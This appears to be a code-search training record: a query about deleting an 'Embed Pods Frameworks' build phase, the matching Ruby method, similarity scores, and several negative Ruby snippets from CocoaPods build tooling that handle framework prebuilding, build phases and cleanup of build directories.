[ "0.75586873", "0.7514414", "0.74466515", "0.71640784", "0.71406937", "0.6862795", "0.67884266", "0.6667996", "0.66675264", "0.65609175", "0.63986677", "0.6295784", "0.6211545", "0.60069865", "0.5860862", "0.58416116", "0.570433", "0.5699439", "0.56527185", "0.56426", "0.55678433", "0.55459595", "0.5520316", "0.55098057", "0.55071", "0.55071", "0.54739726", "0.5462938", "0.5445204", "0.544506", "0.5422036", "0.5418623", "0.54013205", "0.5391188", "0.537667", "0.53554195", "0.53028905", "0.5301109", "0.52538025", "0.52529716", "0.5240331", "0.52394485", "0.5233245", "0.52185607", "0.52125686", "0.5209897", "0.51977074", "0.5166115", "0.5162711", "0.5161033", "0.5145357", "0.5141731", "0.51386315", "0.5129707", "0.51225", "0.5111632", "0.5100852", "0.5093964", "0.50650793", "0.50594777", "0.50581163", "0.50468206", "0.5036578", "0.50233775", "0.5020992", "0.50141716", "0.501321", "0.5012878", "0.5012792", "0.5003629", "0.4996764", "0.49964702", "0.49938813", "0.4993086", "0.49877357", "0.49817508", "0.49813852", "0.4980949", "0.49733263", "0.49659443", "0.4965248", "0.4951501", "0.49513584", "0.4950767", "0.4950642", "0.49384815", "0.49355036", "0.49350357", "0.49220514", "0.49193084", "0.4918284", "0.4915576", "0.49062973", "0.49061397", "0.49050355", "0.48991305", "0.4898293", "0.4872833", "0.4867434", "0.4862428" ]
0.74220175
3
Delete a 'Embed Pods Frameworks' Script Build Phase if present
def remove_embed_frameworks_script_phase_from_target(native_target) remove_script_phase_from_target(native_target, EMBED_FRAMEWORK_PHASE_NAME) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "def remove_embed_frameworks_script_phase_from_embedded_targets\n return unless target.requires_host_target?\n native_targets.each do |native_target|\n if AggregateTarget::EMBED_FRAMEWORKS_IN_HOST_TARGET_TYPES.include? native_target.symbol_type\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n end\n end", "def remove_duplicate_dependencies(installer)\n \n applicationTargets = [\n 'Pods-Base-Project',\n ]\n libraryTargets = [\n 'Pods-AnalyticsManager',\n ]\n\n embedded_targets = installer.aggregate_targets.select { |aggregate_target|\n libraryTargets.include? aggregate_target.name\n }\n embedded_pod_targets = embedded_targets.flat_map { |embedded_target| embedded_target.pod_targets }\n host_targets = installer.aggregate_targets.select { |aggregate_target|\n applicationTargets.include? aggregate_target.name\n }\n\n # We only want to remove pods from Application targets, not libraries\n host_targets.each do |host_target|\n host_target.xcconfigs.each do |config_name, config_file|\n host_target.pod_targets.each do |pod_target|\n if embedded_pod_targets.include? pod_target\n pod_target.specs.each do |spec|\n if spec.attributes_hash['ios'] != nil\n frameworkPaths = spec.attributes_hash['ios']['vendored_frameworks']\n else\n frameworkPaths = spec.attributes_hash['vendored_frameworks']\n end\n if frameworkPaths != nil\n frameworkNames = Array(frameworkPaths).map(&:to_s).map do |filename|\n extension = File.extname filename\n File.basename filename, extension\n end\n frameworkNames.each do |name|\n puts \"Removing #{name} from OTHER_LDFLAGS of target #{host_target.name}\"\n config_file.frameworks.delete(name)\n end\n end\n end\n end\n end\n xcconfig_path = host_target.xcconfig_path(config_name)\n config_file.save_as(xcconfig_path)\n end\n end\n\nend", "def remove_script_phase_from_target(native_target, phase_name)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(phase_name) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def before_destroy\n # cwd: utunes_app\n logger.info(\"=======> before_destroy invoked!\")\n\n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n logger.info(\"rm -R #{bundle_fq_name}\")\n logger.info( %x[rm -R #{bundle_fq_name}] )\n \n end", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def prebuild_frameworks! \n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n \n if local_manifest != nil\n\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed \n unchanged = changes.unchanged\n deleted = changes.deleted \n \n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n \n # additions\n missing = unchanged.select do |pod_name|\n not exsited_framework_pod_names.include?(pod_name)\n end\n\n\n root_names_to_update = (added + changed + missing)\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, self.pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{self.pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map {|t| t.recursive_dependent_targets }.flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n targets = self.pod_targets\n end\n \n # frameworks which mark binary true, should be filtered before prebuild\n prebuild_framework_pod_names = []\n podfile.target_definition_list.each do |target_definition|\n next if target_definition.prebuild_framework_pod_names.empty?\n prebuild_framework_pod_names += target_definition.prebuild_framework_pod_names\n end\n \n \n\n \n # filter local pods\n targets = targets.reject {|pod_target| sandbox.local?(pod_target.pod_name) } if not Podfile::DSL.allow_local_pod\n\n # filter dependency\n # targets = targets.select {|pod_target| prebuild_framework_pod_names.include?(pod_target.pod_name) }\n \n # build!\n Pod::UI.puts \"🚀 Prebuild files (total #{targets.count})\"\n Pod::Prebuild.remove_build_dir(sandbox_path)\n \n targets = targets.reject { |pod_target| Pod::Podfile::DSL.binary_white_list.include?(pod_target.pod_name) }\n \n # 是否值缓存 .a 文件\n only_store_lib_file = Podfile::DSL.only_store_lib_file\n \n # 是否开启md5 命名\n md5_file_name = Podfile::DSL.md5_file_name\n md5_file_name_list = []\n \n \n subspec_name_enable = true\n \n # building check ...\n targets.each do |target|\n \n target_name = target.name\n # root_name = \"#{target_name}/\"\n spec = target.root_spec\n\n# Pod::UI.puts \"🚀 000 #{target.specs.to_json} \"\n\n specs_name = get_subspec_name(target)\n# Pod::UI.puts \"🚀 666 #{specs_name} \"\n\n \n # 如果过长 采用md5 + 文件记录\n if md5_file_name\n item = get_subspec_name_md5(target_name, specs_name, spec.version)\n specs_name = item[\"specs_name\"]\n# Pod::UI.puts \"🚀 333 #{specs_name} \"\n md5_file_name_list.push(item)\n end\n \n# specs_name = spec.name\n# Pod::UI.puts \"🚀 666 #{target.to_json} \"\n \n UI.section \"🍭 Prebuild Ready to build #{target_name} [#{target.label}]\".blue do\n if !target.should_build?\n Pod::UI.puts \"🏇 Skipping #{target.label}\"\n next\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target_name)\n output_path.mkpath unless output_path.exist?\n \n need_pull = Podfile::DSL.binary_cache\n need_push = false\n need_build = false\n\n generate_path = sandbox.generate_framework_path.to_s\n rsync_server_url = Podfile::DSL.rsync_server_url\n \n loop do\n if not need_pull\n need_build = true\n break\n end\n \n if sandbox.local?target_name and not Podfile::DSL.local_binary_cache\n need_build = true\n break\n end\n \n exist_remote_framework = Pod::PrebuildFetch.fetch_remote_framework_for_target(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n if not exist_remote_framework\n Pod::UI.puts \"💦 Non exist remote cache, #{target_name}\".blue\n \n need_build = true\n need_push = true\n break\n end\n \n Pod::UI.puts \"🎁 Exist remote cache, #{target_name}\".green\n\n break\n end\n\n if need_build\n Pod::Prebuild.build(sandbox_path, target, output_path, bitcode_enabled, Podfile::DSL.custom_build_options, Podfile::DSL.custom_build_options_simulator)\n end\n \n if need_push\n Podfile::DSL.builded_list.push(target_name)\n\n \n if only_store_lib_file\n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n else\n store_pack = {}\n store_pack[\"spec_name\"] = spec.name\n store_pack[\"specs_name\"] = specs_name\n store_pack[\"spec_version\"] = \"#{spec.version}\"\n store_pack[\"generate_path\"] = generate_path\n store_pack[\"server_url\"] = rsync_server_url\n\n Podfile::DSL.builded_store_list.push(store_pack)\n end\n end\n \n \n \n # public private headers\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = []\n target.file_accessors.each do |fa|\n headers += fa.headers || []\n end\n\n config_umbrella_header(output_path, target_name, headers)\n end\n\n \n # ...\n #target.static_framework\n #target.build_as_dynamic_library\n #target.build_as_static_framework\n \n # save the resource paths for later installing\n if !target.resource_paths.empty? #and target.build_as_dynamic?\n framework_path = output_path\n framework_path = framework_path + target.framework_name if target.build_as_framework?\n \n standard_sandbox_path = sandbox.standard_sanbox_path\n\n resources = begin\n if Pod::VERSION.start_with? \"1.5\"\n target.resource_paths\n else\n # resource_paths is Hash{String=>Array<String>} on 1.6 and above\n # (use AFNetworking to generate a demo data)\n # https://github.com/leavez/cocoapods-binary/issues/50\n target.resource_paths.values.flatten\n end\n end\n raise \"Wrong type: #{resources}\" unless resources.kind_of? Array\n\n path_objects = resources.map do |path|\n object = Prebuild::Passer::ResourcePath.new\n #object.real_file_path = framework_path + File.basename(path)\n object.real_file_path = path.gsub('${PODS_ROOT}', sandbox.generate_framework_path.to_s) if path.start_with? '${PODS_ROOT}'\n \n object.target_file_path = path.gsub('${PODS_ROOT}', standard_sandbox_path.to_s) if path.start_with? '${PODS_ROOT}'\n object.target_file_path = path.gsub(\"${PODS_CONFIGURATION_BUILD_DIR}\", standard_sandbox_path.to_s) if path.start_with? \"${PODS_CONFIGURATION_BUILD_DIR}\"\n \n object\n end\n # mark Generated files to Pods/xx\n Prebuild::Passer.resources_to_copy_for_static_framework[target_name] = path_objects\n \n # Logger(1000, \"path_objects\", path_objects)\n # Logger(1001, \"target.name\", target.name)\n\n end\n \n end\n\n end\n \n if md5_file_name\n pods_path = self.sandbox.root\n md5_file_name_path = pods_path + \"md5_file_name.txt\"\n File.write(md5_file_name_path.to_s, md5_file_name_list.to_json)\n end\n \n \n # remove build path\n Pod::Prebuild.remove_build_dir(sandbox_path) if Podfile::DSL.clean_build_dir\n \n def copy_vendered_files(lib_paths, root_path, target_folder)\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n def copy_vendered_headers(lib_paths, root_path)\n lib_paths.each do |lib_path|\n FileUtils.cp_r(lib_path, root_path, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n \n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = self.sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n \n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n if not target.should_build? \n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n next\n end\n \n# Logger(10032, \"dependencies\", target.dependencies)\n \n # continue ....\n next unless File.exist?(root_path)\n \n # copy to Generated\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n \n lib_paths = []\n\n #add frameworks\n lib_paths += file_accessor.vendored_frameworks || []\n \n if Pod::VERSION.start_with? \"1.9\"\n lib_paths += file_accessor.vendored_xcframeworks || [] # cocoapods version 1.9.0+\n end\n \n #add libraries\n lib_paths += file_accessor.vendored_libraries || []\n \n #add headers\n lib_paths += file_accessor.headers || []\n \n lib_paths += file_accessor.docs || []\n\n #add resources\n lib_paths += file_accessor.resources || []\n \n lib_paths += file_accessor.resource_bundles.values if not file_accessor.resource_bundles.nil?\n lib_paths += file_accessor.resource_bundle_files || []\n\n #add license\n lib_paths += [file_accessor.license] if not file_accessor.license.nil?\n lib_paths += [file_accessor.spec_license] if not file_accessor.spec_license.nil?\n\n #add readme\n lib_paths += [file_accessor.readme] if not file_accessor.readme.nil?\n \n\n #developer_files ⇒ Array<Pathname> Paths to include for local pods to assist in development.\n\n copy_vendered_files(lib_paths, root_path, target_folder)\n\n # framework not same\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = file_accessor.headers || []\n copy_vendered_headers(headers, \"#{target_folder}/#{target.framework_name}/Headers\")\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox \n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n \n \n # Remove useless files\n # remove useless pods\n all_needed_names = self.pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name| \n all_needed_names.include? name\n end\n \n \n useless_target_names.each do |name|\n path = sandbox.framework_folder_path_for_target_name(name)\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n if not Podfile::DSL.dont_remove_source_code\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.select do |file|\n filename = File.basename(file)\n not to_remain_files.include?(filename)\n end\n to_delete_files.each do |path|\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n else \n # just remove the tmp files\n path = sandbox.root + 'Manifest.lock.tmp'\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n \n Pod::UI.puts \"🚀 Push Store Info: #{Podfile::DSL.builded_store_list}\"\n\n Podfile::DSL.builded_store_list.each do |store_pack|\n spec_name = store_pack[\"spec_name\"]\n specs_name = store_pack[\"specs_name\"]\n spec_version = store_pack[\"spec_version\"]\n generate_path = store_pack[\"generate_path\"]\n server_url = store_pack[\"server_url\"]\n \n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec_name, specs_name, spec_version, generate_path, server_url)\n end\n \n Podfile::DSL.builded_store_list = []\n end", "def remove_static_framework_duplicate_linkage(static_framework_pods)\n puts \"Removing duplicate linkage of static frameworks\"\n\n Dir.glob(File.join(PODS_TARGET_SUPPORT_FILES_DIR, \"Pods-*\")).each do |path|\n pod_target = path.split('-', -1).last\n\n static_framework_pods.each do |target, pods|\n next if pod_target == target\n frameworks = pods.map { |pod| identify_frameworks(pod) }.flatten\n\n Dir.glob(File.join(path, \"*.xcconfig\")).each do |xcconfig|\n lines = File.readlines(xcconfig)\n\n if other_ldflags_index = lines.find_index { |l| l.start_with?('OTHER_LDFLAGS') }\n other_ldflags = lines[other_ldflags_index]\n\n frameworks.each do |framework|\n other_ldflags.gsub!(\"-framework \\\"#{framework}\\\"\", '')\n end\n\n File.open(xcconfig, 'w') do |fd|\n fd.write(lines.join)\n end\n end\n end\n end\n end\nend", "def prebuild_frameworks!\n UI.puts \"Start prebuild_frameworks\"\n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n\n if Pod::Podfile::DSL.prebuild_all_vendor_pods\n UI.puts \"Rebuild all vendor frameworks\"\n targets = pod_targets\n elsif !local_manifest.nil?\n UI.puts \"Update some frameworks\"\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed\n unchanged = changes.unchanged\n\n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n\n # additions\n missing = unchanged.reject { |pod_name| exsited_framework_pod_names.include?(pod_name) }\n\n root_names_to_update = (added + changed + missing)\n if Pod::Podfile::DSL.enable_prebuild_dev_pod && Pod::Podfile::DSL.is_prebuild_job\n root_names_to_update += Pod::Prebuild::CacheInfo.cache_miss_dev_pods_dic.keys\n end\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map(&:recursive_dependent_targets).flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n UI.puts \"Rebuild all frameworks\"\n targets = pod_targets\n end\n\n targets = targets.reject { |pod_target| should_not_prebuild_vendor_pod(pod_target.name) }\n unless Podfile::DSL.enable_prebuild_dev_pod\n targets = targets.reject { |pod_target| sandbox.local?(pod_target.pod_name) }\n end\n\n # build!\n Pod::UI.puts \"Prebuild frameworks (total #{targets.count})\"\n Pod::UI.puts targets.map(&:name)\n\n Pod::Prebuild.remove_build_dir(sandbox_path)\n targets.each do |target|\n unless target.should_build?\n Pod::UI.puts \"Skip prebuilding #{target.label} because of no source files\".yellow\n next\n # TODO (thuyen): Fix an issue in this scenario:\n # - Frameworks are shipped as vendor frameworks (-> skipped during prebuild)\n # -> The dir structure of this framework in Pods is incorrect.\n # - Expected: Pods/MyFramework/<my_files>\n # - Actual: Pods/MyFramework/MyFramework/<my_files>. Sometimes, Pods/MyFramework is empty :|\n # -> Better to detect such targets EARLY and add them to the blacklist (DSL.unbuilt_pods)\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target.name)\n output_path.mkpath unless output_path.exist?\n Pod::Prebuild.build(\n sandbox_path,\n target,\n output_path,\n bitcode_enabled,\n Podfile::DSL.custom_build_options,\n Podfile::DSL.custom_build_options_simulator\n )\n collect_metadata(target, output_path)\n end\n Pod::Prebuild.remove_build_dir(sandbox_path)\n\n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n\n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n unless target.should_build?\n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true)\n next\n end\n\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n lib_paths = file_accessor.vendored_frameworks || []\n lib_paths += file_accessor.vendored_libraries\n # @TODO dSYM files\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true)\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox\n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n\n # Remove useless files\n # remove useless pods\n all_needed_names = pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name|\n all_needed_names.include? name\n end\n useless_target_names.each do |name|\n UI.puts \"Remove: #{name}\"\n path = sandbox.framework_folder_path_for_target_name(name)\n path.rmtree if path.exist?\n end\n\n if Podfile::DSL.dont_remove_source_code\n # just remove the tmp files\n path = sandbox.root + \"Manifest.lock.tmp\"\n path.rmtree if path.exist?\n else\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.reject { |file| to_remain_files.include?(File.basename(file)) }\n to_delete_files.each { |file| file.rmtree if file.exist? }\n end\n\n updated_target_names = targets.map { |target| target.label.to_s }\n deleted_target_names = useless_target_names\n Pod::UI.puts \"Targets to prebuild: #{updated_target_names}\"\n Pod::UI.puts \"Targets to cleanup: #{deleted_target_names}\"\n\n prebuild_output.write_delta_file(updated_target_names, deleted_target_names)\n prebuild_output.process_prebuilt_dev_pods\n end", "def delete_script_files\n validate_before_delete_script_files!\n FileUtils.rm_rf root_dir if Dir.exists? root_dir\n FileUtils.rm symlink_file if File.symlink? symlink_file\n display.print \"Playwright script '#{script_name}' destroyed!\"\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def clean\n build addl_cmake_bld_args: '--target clean'\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def destroy_build_cartridge\n cart = Cartridge.new({:application => self, :as => as, :name => 'jenkins-client-1.4'}, true)\n cart.destroy.tap{ |success| cart.errors.full_messages.each{ |m| errors.add(:base, m) } unless success }\n end", "def clean_pod_sources\n return unless installation_options.clean?\n return if installed_specs.empty?\n pod_installers.each(&:clean!)\n end", "def remove_from_project\n build_files.each(&:remove_from_project)\n super\n end", "def unbuild(verbose=false)\n say \"Removing stale assets...\" if verbose\n\n pipeline = BPM::Pipeline.new self\n asset_root = File.join root_path, 'assets'\n pipeline.buildable_assets.each do |asset|\n next if asset.logical_path =~ /^bpm_/\n asset_path = File.join asset_root, asset.logical_path\n next unless File.exists? asset_path\n say \"~ Removing #{asset.logical_path}\" if verbose\n FileUtils.rm asset_path\n\n # cleanup empty directories\n while !File.exists?(asset_path)\n asset_path = File.dirname asset_path\n FileUtils.rmdir(asset_path) if File.directory?(asset_path)\n if verbose && !File.exists?(asset_path)\n say \"~ Removed empty directory #{File.basename asset_path}\"\n end\n end\n end\n\n say \"\\n\" if verbose\n end", "def clean_up(cmd = nil)\n FileUtils.rm(\n Dir.glob('build/*.{rb,c,js}')\n )\n if cmd == :all\n puts \"cleaning up...\"\n FileUtils.rm_f 'build/app'\n FileUtils.rm_f 'build/app.js'\n FileUtils.rm_f 'build/app.html'\n FileUtils.rm_rf 'build/App.app'\n FileUtils.rm_rf 'build/ios'\n FileUtils.rm_rf 'build/tvos'\n end\nend", "def delete\n @exists = apps.include?(params[:app])\n @app = params[:app] unless @exists == false\n\n if @exists\n `rm #{File.expand_path(\"~/.pow/#{@app}\")}`\n redirect_to root_path, :notice => \"Pow app deleted\"\n else\n render :text => \"Given app is not a Pow app\"\n end\n end", "def clean_up(cmd = nil)\n FileUtils.rm(\n Dir.glob('build/{src,lib}.{rb,c,js}') +\n Dir.glob('build/ruby2d-opal.{rb,js}') +\n Dir.glob('build/app.c')\n )\n if cmd == :all\n puts \"cleaning up...\"\n FileUtils.rm_f 'build/app'\n FileUtils.rm_f 'build/app.js'\n FileUtils.rm_f 'build/app.html'\n FileUtils.rm_rf 'build/ios'\n FileUtils.rm_rf 